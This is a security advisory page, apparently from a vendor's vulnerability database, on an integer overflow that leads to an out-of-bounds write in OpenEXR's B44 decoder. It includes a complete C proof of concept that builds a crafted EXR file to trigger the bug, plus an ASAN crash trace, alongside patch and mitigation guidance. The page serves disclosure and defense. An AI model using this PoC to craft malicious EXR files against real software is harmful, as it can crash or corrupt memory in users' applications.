Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-h762-rhv3-h25v

GHSA-h762-rhv3-h25v is a CWE-190 vulnerability in openexr. O3 Security confirms whether GHSA-h762-rhv3-h25v is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

OpenEXR: integer overflow to OOB write in uncompress_b44_impl()

Also known asCVE-2026-34544PYSEC-2026-2847
Published
Apr 3, 2026
Updated
Jul 13, 2026
Affected
3 pkgs
Patched
1 / 3
Exploits
None indexed

Blast Radius

3 pkgs affected
🐍openexr🐍openexr🐍openexr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

  • Variable declarations (internal_b44.c:535)
int nx, ny;

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

  • Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);

The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

  • Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

  • Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                          EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));
    CHECK(exr_write_header(ctxt));
    CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));
    exr_finish(&ctxt); ctxt = NULL;

    fprintf(stderr, "[*] wrote %s  W=%"PRId64" H=%"PRId64 "  packed=%"PRIu64" bytes\n", path, W, H, psz);


    CHECK(exr_start_read(&ctxt, path, &cinit));
    CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));
    CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));

    dec.channels[0].decode_to_ptr          = (uint8_t*)&dummy;
    dec.channels[0].user_pixel_stride      = 2;
    dec.channels[0].user_line_stride       = dec.channels[0].width * 2;
    dec.channels[0].user_bytes_per_element = 2;
    dec.channels[0].user_data_type         = dec.channels[0].data_type;

    CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));
    dec.unpack_and_convert_fn = NULL; 

    fprintf(stderr, "[*] calling exr_decoding_run()h\n");
    fflush(stderr);


    CHECK(exr_decoding_run(ctxt, 0, &dec));
    ok = 1;

fail:
    if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); }
    free(packed);
    return ok ? 0 : 1;
}

ASAN Trace

openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:
    signed integer overflow: 8 * 268435456 cannot be represented in type 'int'
    #0 in uncompress_b44_impl  internal_b44.c:561
    #1 in internal_exr_undo_b44  internal_b44.c:706
    #2 in decompress_data  compression.c:444
    #3 in exr_uncompress_chunk  compression.c:541
    #4 in exr_decoding_run  decoding.c:580
    #5 in main  poc.c:83

=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800
==PID==The signal is caused by a WRITE memory access.
    #0 in memcpy  (libc)
    #1 in uncompress_b44_impl  internal_b44.c:599
    #2 in internal_exr_undo_b44  internal_b44.c:706
    #3 in decompress_data  compression.c:444
    #4 in exr_uncompress_chunk  compression.c:541
    #5 in exr_decoding_run  decoding.c:580
    #6 in main  poc.c:83

SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599

Impact

A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

Affected Packages

3 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopenexr3.4.0&&< 3.4.83.4.8
🐍PyPIopenexr3.3.0No fix
🐍PyPIopenexr3.2.0No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openexr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update openexr to 3.4.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h762-rhv3-h25v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-h762-rhv3-h25v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-h762-rhv3-h25v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write. ### Root cause * Variable declarations (internal_b44.c:535) ```c int nx, ny; ``` `nx` and `ny` are declared as plain int. They are assigned from `curc->width` and `curc->height` which are int32_t. * Scratch buffer allocat
O3 Security · Impact-Aware SCA

Is GHSA-h762-rhv3-h25v in your dependencies?

O3 detects GHSA-h762-rhv3-h25v across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.